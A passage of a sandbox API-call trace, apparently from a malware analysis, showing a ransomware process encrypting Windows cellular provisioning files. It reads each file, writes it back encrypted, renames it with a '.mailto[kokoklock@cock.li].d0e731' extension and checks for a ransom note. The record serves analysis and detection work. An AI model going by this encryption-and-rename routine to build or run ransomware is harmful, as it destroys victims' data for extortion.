lpBuffer=0x2fe3f88c*, lpNumberOfBytesRead=0x2fe3f888*=0x4, lpOverlapped=0x0) returned 1 [0087.793] SetFilePointerEx (in: hFile=0x3d0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0087.793] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x55dc7f0 [0087.793] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x55dc7a0 [0087.793] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x55dcac0 [0087.793] NtQuerySystemTime (in: CurrentTime=0x2fe3f864 | out: CurrentTime=0x2fe3f864*=132121176456882058) returned 0x0 [0087.793] RtlRandom (in: Seed=0x2fe3f870 | out: Seed=0x2fe3f870) returned 0xefa4e226 [0087.793] RtlRandom (in: Seed=0x2fe3f870 | out: Seed=0x2fe3f870) returned 0x81c3056e [0087.793] RtlRandom (in: Seed=0x2fe3f870 | out: Seed=0x2fe3f870) returned 0x5b33c0bd [0087.793] RtlRandom (in: Seed=0x2fe3f870 | out: Seed=0x2fe3f870) returned 0xd2e6a8e9 [0087.793] RtlRandom (in: Seed=0x2fe3f870 | out: Seed=0x2fe3f870) returned 0xca98649f [0087.793] RtlRandom (in: Seed=0x2fe3f870 | out: Seed=0x2fe3f870) returned 0x7afad42f [0087.793] RtlRandom (in: Seed=0x2fe3f870 | out: Seed=0x2fe3f870) returned 0x275edc9f [0087.793] RtlRandom (in: Seed=0x2fe3f870 | out: Seed=0x2fe3f870) returned 0xd9a6d6fe [0087.793] RtlRandom (in: Seed=0x2fe3f870 | out: Seed=0x2fe3f870) returned 0xb0731e84 [0087.793] RtlRandom (in: Seed=0x2fe3f870 | out: Seed=0x2fe3f870) returned 0xd180168a [0087.793] RtlRandom (in: Seed=0x2fe3f870 | out: Seed=0x2fe3f870) returned 0x6158bc71 [0087.793] RtlRandom (in: Seed=0x2fe3f870 | out: Seed=0x2fe3f870) returned 0xcf7f4f46 [0087.793] RtlRandom (in: Seed=0x2fe3f870 | out: Seed=0x2fe3f870) returned 0x2d17e4ae [0087.793] RtlRandom (in: Seed=0x2fe3f870 | out: Seed=0x2fe3f870) returned 0x8536c923 [0087.793] RtlRandom (in: Seed=0x2fe3f870 | out: Seed=0x2fe3f870) returned 0xebdfe95b [0087.793] RtlRandom (in: Seed=0x2fe3f870 | out: Seed=0x2fe3f870) returned 0xd36032c6 [0087.793] RtlRandom (in: Seed=0x2fe3f870 | out: Seed=0x2fe3f870) returned 0x74ee9001 [0087.793] RtlRandom (in: Seed=0x2fe3f870 | out: Seed=0x2fe3f870) returned 0x37893369 [0087.793] RtlRandom (in: Seed=0x2fe3f870 | out: Seed=0x2fe3f870) returned 0x368461d7 [0087.794] RtlRandom (in: Seed=0x2fe3f870 | out: Seed=0x2fe3f870) returned 0x66bfa334 [0087.794] RtlRandom (in: Seed=0x2fe3f870 | out: Seed=0x2fe3f870) returned 0x7be652c4 [0087.794] RtlRandom (in: Seed=0x2fe3f870 | out: Seed=0x2fe3f870) returned 0xbea61447 [0087.794] RtlRandom (in: Seed=0x2fe3f870 | out: Seed=0x2fe3f870) returned 0xaca74d94 [0087.794] RtlRandom (in: Seed=0x2fe3f870 | out: Seed=0x2fe3f870) returned 0xeb83ef90 [0087.794] RtlRandom (in: Seed=0x2fe3f870 | out: Seed=0x2fe3f870) returned 0xd8863489 [0087.794] RtlRandom (in: Seed=0x2fe3f870 | out: Seed=0x2fe3f870) returned 0x35fdd450 [0087.794] RtlRandom (in: Seed=0x2fe3f870 | out: Seed=0x2fe3f870) returned 0x7df916ec [0087.794] RtlRandom (in: Seed=0x2fe3f870 | out: Seed=0x2fe3f870) returned 0xe3079784 [0087.794] RtlRandom (in: Seed=0x2fe3f870 | out: Seed=0x2fe3f870) returned 0x997f49f1 [0087.794] RtlRandom (in: Seed=0x2fe3f870 | out: Seed=0x2fe3f870) returned 0x83a99506 [0087.794] RtlRandom (in: Seed=0x2fe3f870 | out: Seed=0x2fe3f870) returned 0xdfa8db34 [0087.794] RtlRandom (in: Seed=0x2fe3f870 | out: Seed=0x2fe3f870) returned 0xb85ceacb [0087.804] ReadFile (in: hFile=0x3d0, lpBuffer=0x34b8390, nNumberOfBytesToRead=0x286, lpNumberOfBytesRead=0x2fe3f864, lpOverlapped=0x0 | out: lpBuffer=0x34b8390*, lpNumberOfBytesRead=0x2fe3f864*=0x286, lpOverlapped=0x0) returned 1 [0087.804] SetFilePointerEx (in: hFile=0x3d0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fe3f82c | out: lpNewFilePointer=0x0) returned 1 [0087.804] WriteFile (in: hFile=0x3d0, lpBuffer=0x55de100*, nNumberOfBytesToWrite=0x286, lpNumberOfBytesWritten=0x2fe3f860, lpOverlapped=0x0 | out: lpBuffer=0x55de100*, lpNumberOfBytesWritten=0x2fe3f860*=0x286, lpOverlapped=0x0) returned 1 [0087.805] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x55dcb10 [0087.805] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x55dc6b0 [0087.805] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x55dc6b0) returned 1 [0087.805] WriteFile (in: hFile=0x3d0, lpBuffer=0x55dcb10*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x2fe3f85c, lpOverlapped=0x0 | out: lpBuffer=0x55dcb10*, lpNumberOfBytesWritten=0x2fe3f85c*=0x20, lpOverlapped=0x0) returned 1 [0087.805] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x55dcb10) returned 1 [0087.805] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x55de100) returned 1 [0087.805] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x34b8390) returned 1 [0087.805] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x34804f8) returned 1 [0087.805] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x33fd2c8) returned 1 [0087.805] WriteFile (in: hFile=0x3d0, lpBuffer=0x55dcae8*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x2fe3f888, lpOverlapped=0x0 | out: lpBuffer=0x55dcae8*, lpNumberOfBytesWritten=0x2fe3f888*=0x8, lpOverlapped=0x0) returned 1 [0087.805] WriteFile (in: hFile=0x3d0, lpBuffer=0x2fe3f8a0*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x2fe3f888, lpOverlapped=0x0 | out: lpBuffer=0x2fe3f8a0*, lpNumberOfBytesWritten=0x2fe3f888*=0x4, lpOverlapped=0x0) returned 1 [0087.805] WriteFile (in: hFile=0x3d0, lpBuffer=0x33d12fc*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x2fe3f888, lpOverlapped=0x0 | out: lpBuffer=0x33d12fc*, lpNumberOfBytesWritten=0x2fe3f888*=0x4, lpOverlapped=0x0) returned 1 [0087.805] WriteFile (in: hFile=0x3d0, lpBuffer=0x33c49b8*, nNumberOfBytesToWrite=0x6c, lpNumberOfBytesWritten=0x2fe3f888, lpOverlapped=0x0 | out: lpBuffer=0x33c49b8*, lpNumberOfBytesWritten=0x2fe3f888*=0x6c, lpOverlapped=0x0) returned 1 [0087.805] WriteFile (in: hFile=0x3d0, lpBuffer=0x55dc7a0*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x2fe3f888, lpOverlapped=0x0 | out: lpBuffer=0x55dc7a0*, lpNumberOfBytesWritten=0x2fe3f888*=0x20, lpOverlapped=0x0) returned 1 [0087.805] WriteFile (in: hFile=0x3d0, lpBuffer=0x33d12dc*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x2fe3f888, lpOverlapped=0x0 | out: lpBuffer=0x33d12dc*, lpNumberOfBytesWritten=0x2fe3f888*=0x4, lpOverlapped=0x0) returned 1 [0087.806] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x55dc7a0) returned 1 [0087.806] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x55dc930) returned 1 [0087.806] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x55dcae8) returned 1 [0087.806] CloseHandle (hObject=0x3d0) returned 1 [0087.806] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x196) returned 0x33fc9c8 [0087.806] wcscpy (in: _Dest=0x33fc9c8, _Source="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\185__Connections_Cellular_Telenor Hungary (Hungary)_i0$(__MVID)@WAP.provxml" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\185__Connections_Cellular_Telenor Hungary (Hungary)_i0$(__MVID)@WAP.provxml") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\185__Connections_Cellular_Telenor Hungary (Hungary)_i0$(__MVID)@WAP.provxml" [0087.806] wcscat (in: _Dest=0x33fc9c8, _Source=".mailto[kokoklock@cock.li].d0e731" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\185__Connections_Cellular_Telenor Hungary (Hungary)_i0$(__MVID)@WAP.provxml.mailto[kokoklock@cock.li].d0e731") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\185__Connections_Cellular_Telenor Hungary (Hungary)_i0$(__MVID)@WAP.provxml.mailto[kokoklock@cock.li].d0e731" [0087.806] MoveFileW (lpExistingFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\185__Connections_Cellular_Telenor Hungary (Hungary)_i0$(__MVID)@WAP.provxml" (normalized: "c:\\users\\all users\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\185__connections_cellular_telenor hungary (hungary)_i0$(__mvid)@wap.provxml"), lpNewFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\185__Connections_Cellular_Telenor Hungary (Hungary)_i0$(__MVID)@WAP.provxml.mailto[kokoklock@cock.li].d0e731" (normalized: "c:\\users\\all users\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\185__connections_cellular_telenor hungary (hungary)_i0$(__mvid)@wap.provxml.mailto[kokoklock@cock.li].d0e731")) returned 1 [0087.807] SetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\185__Connections_Cellular_Telenor Hungary (Hungary)_i0$(__MVID)@WAP.provxml.mailto[kokoklock@cock.li].d0e731", dwFileAttributes=0x20) returned 1 [0087.807] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x33fc9c8) returned 1 [0087.807] SetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\185__Connections_Cellular_Telenor Hungary (Hungary)_i0$(__MVID)@WAP.provxml", dwFileAttributes=0x20) returned 0 [0087.807] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0xe2) returned 0x348af68 [0087.807] wcscpy (in: _Dest=0x348af68, _Source="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\" [0087.807] wcscat (in: _Dest=0x348af68, _Source="D0E731-Readme.txt" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\D0E731-Readme.txt") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\D0E731-Readme.txt" [0087.807] GetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\D0E731-Readme.txt" (normalized: "c:\\users\\all users\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\d0e731-readme.txt")) returned 0x20 [0087.807] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x348af68) returned 1 [0087.807] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x55db9d8) returned 1 [0087.807] RtlExitUserThread (Status=0x1) Thread: id = 1380 os_tid = 0x142c [0087.809] GetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\186__Connections_Cellular_Magyar Telekom (Hungary)_i0$(__MVID)@WAP.provxml" (normalized: "c:\\users\\all users\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\186__connections_cellular_magyar telekom (hungary)_i0$(__mvid)@wap.provxml")) returned 0x20 [0087.809] SetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\186__Connections_Cellular_Magyar Telekom (Hungary)_i0$(__MVID)@WAP.provxml", dwFileAttributes=0x20) returned 1 [0087.809] CreateFileW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\186__Connections_Cellular_Magyar Telekom (Hungary)_i0$(__MVID)@WAP.provxml" (normalized: "c:\\users\\all users\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\186__connections_cellular_magyar telekom (hungary)_i0$(__mvid)@wap.provxml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3d0 [0087.809] GetFileSizeEx (in: hFile=0x3d0, lpFileSize=0x2febf938 | out: lpFileSize=0x2febf938*=727) returned 1 [0087.809] SetFilePointerEx (in: hFile=0x3d0, liDistanceToMove=0x2d3, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0087.809] ReadFile (in: hFile=0x3d0, lpBuffer=0x2febf90c, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x2febf908, lpOverlapped=0x0 | out: lpBuffer=0x2febf90c*, lpNumberOfBytesRead=0x2febf908*=0x4, lpOverlapped=0x0) returned 1 [0087.811] SetFilePointerEx (in: hFile=0x3d0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0087.811] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x55dc7f0 [0087.811] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x55dc7a0 [0087.811] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x55dcae8 [0087.811] NtQuerySystemTime (in: CurrentTime=0x2febf8e4 | out: CurrentTime=0x2febf8e4*=132121176457038393) returned 0x0 [0087.811] RtlRandom (in: Seed=0x2febf8f0 | out: Seed=0x2febf8f0) returned 0x8358876c [0087.811] RtlRandom (in: Seed=0x2febf8f0 | out: Seed=0x2febf8f0) returned 0x3a32b0c5 [0087.811] RtlRandom (in: Seed=0x2febf8f0 | out: Seed=0x2febf8f0) returned 0xe7a8dd21 [0087.811] RtlRandom (in: Seed=0x2febf8f0 | out: Seed=0x2febf8f0) returned 0xefacffed [0087.812] RtlRandom (in: Seed=0x2febf8f0 | out: Seed=0x2febf8f0) returned 0x9354beb [0087.812] RtlRandom (in: Seed=0x2febf8f0 | out: Seed=0x2febf8f0) returned 0xbc10c473 [0087.812] RtlRandom (in: Seed=0x2febf8f0 | out: Seed=0x2febf8f0) returned 0x7d9e0d9c [0087.812] RtlRandom (in: Seed=0x2febf8f0 | out: Seed=0x2febf8f0) returned 0x47db7e30 [0087.812] RtlRandom (in: Seed=0x2febf8f0 | out: Seed=0x2febf8f0) returned 0xb44719b8 [0087.812] RtlRandom (in: Seed=0x2febf8f0 | out: Seed=0x2febf8f0) returned 0x3a7beca5 [0087.812] RtlRandom (in: Seed=0x2febf8f0 | out: Seed=0x2febf8f0) returned 0x80086010 [0087.812] RtlRandom (in: Seed=0x2febf8f0 | out: Seed=0x2febf8f0) returned 0xab6cb167 [0087.812] RtlRandom (in: Seed=0x2febf8f0 | out: Seed=0x2febf8f0) returned 0x5e7b3fea [0087.812] RtlRandom (in: Seed=0x2febf8f0 | out: Seed=0x2febf8f0) returned 0x5654832e [0087.812] RtlRandom (in: Seed=0x2febf8f0 | out: Seed=0x2febf8f0) returned 0x19de1fd2 [0087.812] RtlRandom (in: Seed=0x2febf8f0 | out: Seed=0x2febf8f0) returned 0xe30ee8df [0087.812] RtlRandom (in: Seed=0x2febf8f0 | out: Seed=0x2febf8f0) returned 0xdd049dca [0087.812] RtlRandom (in: Seed=0x2febf8f0 | out: Seed=0x2febf8f0) returned 0xacedb41 [0087.812] RtlRandom (in: Seed=0x2febf8f0 | out: Seed=0x2febf8f0) returned 0x949515e2 [0087.812] RtlRandom (in: Seed=0x2febf8f0 | out: Seed=0x2febf8f0) returned 0xd2bc17d5 [0087.812] RtlRandom (in: Seed=0x2febf8f0 | out: Seed=0x2febf8f0) returned 0x5244ec1b [0087.812] RtlRandom (in: Seed=0x2febf8f0 | out: Seed=0x2febf8f0) returned 0x4ed73ab8 [0087.812] RtlRandom (in: Seed=0x2febf8f0 | out: Seed=0x2febf8f0) returned 0xddc1f77a [0087.812] RtlRandom (in: Seed=0x2febf8f0 | out: Seed=0x2febf8f0) returned 0x3e8fcc37 [0087.812] RtlRandom (in: Seed=0x2febf8f0 | out: Seed=0x2febf8f0) returned 0x17c70609 [0087.812] RtlRandom (in: Seed=0x2febf8f0 | out: Seed=0x2febf8f0) returned 0x8f204841 [0087.812] RtlRandom (in: Seed=0x2febf8f0 | out: Seed=0x2febf8f0) returned 0xd3f359d3 [0087.812] RtlRandom (in: Seed=0x2febf8f0 | out: Seed=0x2febf8f0) returned 0xf84d5227 [0087.812] RtlRandom (in: Seed=0x2febf8f0 | out: Seed=0x2febf8f0) returned 0xaa0ddced [0087.812] RtlRandom (in: Seed=0x2febf8f0 | out: Seed=0x2febf8f0) returned 0x5585d257 [0087.812] RtlRandom (in: Seed=0x2febf8f0 | out: Seed=0x2febf8f0) returned 0xce30b5b8 [0087.812] RtlRandom (in: Seed=0x2febf8f0 | out: Seed=0x2febf8f0) returned 0xd28c532d [0087.823] ReadFile (in: hFile=0x3d0, lpBuffer=0x34b8390, nNumberOfBytesToRead=0x2d7, lpNumberOfBytesRead=0x2febf8e4, lpOverlapped=0x0 | out: lpBuffer=0x34b8390*, lpNumberOfBytesRead=0x2febf8e4*=0x2d7, lpOverlapped=0x0) returned 1 [0087.823] SetFilePointerEx (in: hFile=0x3d0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2febf8ac | out: lpNewFilePointer=0x0) returned 1 [0087.823] WriteFile (in: hFile=0x3d0, lpBuffer=0x55de100*, nNumberOfBytesToWrite=0x2d7, lpNumberOfBytesWritten=0x2febf8e0, lpOverlapped=0x0 | out: lpBuffer=0x55de100*, lpNumberOfBytesWritten=0x2febf8e0*=0x2d7, lpOverlapped=0x0) returned 1 [0087.823] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x55dc638 [0087.823] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x55dc6b0 [0087.823] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x55dc6b0) returned 1 [0087.823] WriteFile (in: hFile=0x3d0, lpBuffer=0x55dc638*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x2febf8dc, lpOverlapped=0x0 | out: lpBuffer=0x55dc638*, lpNumberOfBytesWritten=0x2febf8dc*=0x20, lpOverlapped=0x0) returned 1 [0087.824] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x55dc638) returned 1 [0087.824] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x55de100) returned 1 [0087.824] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x34b8390) returned 1 [0087.824] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x34804f8) returned 1 [0087.824] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x33fd2c8) returned 1 [0087.824] WriteFile (in: hFile=0x3d0, lpBuffer=0x55dcb10*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x2febf908, lpOverlapped=0x0 | out: lpBuffer=0x55dcb10*, lpNumberOfBytesWritten=0x2febf908*=0x8, lpOverlapped=0x0) returned 1 [0087.824] WriteFile (in: hFile=0x3d0, lpBuffer=0x2febf920*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x2febf908, lpOverlapped=0x0 | out: lpBuffer=0x2febf920*, lpNumberOfBytesWritten=0x2febf908*=0x4, lpOverlapped=0x0) returned 1 [0087.824] WriteFile (in: hFile=0x3d0, lpBuffer=0x33d12fc*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x2febf908, lpOverlapped=0x0 | out: lpBuffer=0x33d12fc*, lpNumberOfBytesWritten=0x2febf908*=0x4, lpOverlapped=0x0) returned 1 [0087.824] WriteFile (in: hFile=0x3d0, lpBuffer=0x33c49b8*, nNumberOfBytesToWrite=0x6c, lpNumberOfBytesWritten=0x2febf908, lpOverlapped=0x0 | out: lpBuffer=0x33c49b8*, lpNumberOfBytesWritten=0x2febf908*=0x6c, lpOverlapped=0x0) returned 1 [0087.824] WriteFile (in: hFile=0x3d0, lpBuffer=0x55dc7a0*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x2febf908, lpOverlapped=0x0 | out: lpBuffer=0x55dc7a0*, lpNumberOfBytesWritten=0x2febf908*=0x20, lpOverlapped=0x0) returned 1 [0087.824] WriteFile (in: hFile=0x3d0, lpBuffer=0x33d12dc*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x2febf908, lpOverlapped=0x0 | out: lpBuffer=0x33d12dc*, lpNumberOfBytesWritten=0x2febf908*=0x4, lpOverlapped=0x0) returned 1 [0087.824] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x55dc7a0) returned 1 [0087.824] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x55dc930) returned 1 [0087.824] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x55dcb10) returned 1 [0087.824] CloseHandle (hObject=0x3d0) returned 1 [0087.824] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x194) returned 0x33fc9c8 [0087.825] wcscpy (in: _Dest=0x33fc9c8, _Source="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\186__Connections_Cellular_Magyar Telekom (Hungary)_i0$(__MVID)@WAP.provxml" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\186__Connections_Cellular_Magyar Telekom (Hungary)_i0$(__MVID)@WAP.provxml") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\186__Connections_Cellular_Magyar Telekom (Hungary)_i0$(__MVID)@WAP.provxml" [0087.825] wcscat (in: _Dest=0x33fc9c8, _Source=".mailto[kokoklock@cock.li].d0e731" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\186__Connections_Cellular_Magyar Telekom (Hungary)_i0$(__MVID)@WAP.provxml.mailto[kokoklock@cock.li].d0e731") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\186__Connections_Cellular_Magyar Telekom (Hungary)_i0$(__MVID)@WAP.provxml.mailto[kokoklock@cock.li].d0e731" [0087.825] MoveFileW (lpExistingFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\186__Connections_Cellular_Magyar Telekom (Hungary)_i0$(__MVID)@WAP.provxml" (normalized: "c:\\users\\all users\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\186__connections_cellular_magyar telekom (hungary)_i0$(__mvid)@wap.provxml"), lpNewFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\186__Connections_Cellular_Magyar Telekom (Hungary)_i0$(__MVID)@WAP.provxml.mailto[kokoklock@cock.li].d0e731" (normalized: "c:\\users\\all users\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\186__connections_cellular_magyar telekom (hungary)_i0$(__mvid)@wap.provxml.mailto[kokoklock@cock.li].d0e731")) returned 1 [0087.825] SetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\186__Connections_Cellular_Magyar Telekom (Hungary)_i0$(__MVID)@WAP.provxml.mailto[kokoklock@cock.li].d0e731", dwFileAttributes=0x20) returned 1 [0087.826] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x33fc9c8) returned 1 [0087.826] SetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\186__Connections_Cellular_Magyar Telekom (Hungary)_i0$(__MVID)@WAP.provxml", dwFileAttributes=0x20) returned 0 [0087.826] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0xe2) returned 0x348af68 [0087.826] wcscpy (in: _Dest=0x348af68, _Source="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\" [0087.826] wcscat (in: _Dest=0x348af68, _Source="D0E731-Readme.txt" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\D0E731-Readme.txt") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\D0E731-Readme.txt" [0087.826] GetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\D0E731-Readme.txt" (normalized: "c:\\users\\all users\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\d0e731-readme.txt")) returned 0x20 [0087.826] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x348af68) returned 1 [0087.826] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x55dbb40) returned 1 [0087.826] RtlExitUserThread (Status=0x1) Thread: id = 1381 os_tid = 0x1430 [0087.827] GetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\187__Connections_Cellular_Vodafone HU (Hungary)_i0$(__MVID)@WAP.provxml" (normalized: "c:\\users\\all users\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\187__connections_cellular_vodafone hu (hungary)_i0$(__mvid)@wap.provxml")) returned 0x20 [0087.827] SetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\187__Connections_Cellular_Vodafone HU (Hungary)_i0$(__MVID)@WAP.provxml", dwFileAttributes=0x20) returned 1 [0087.828] 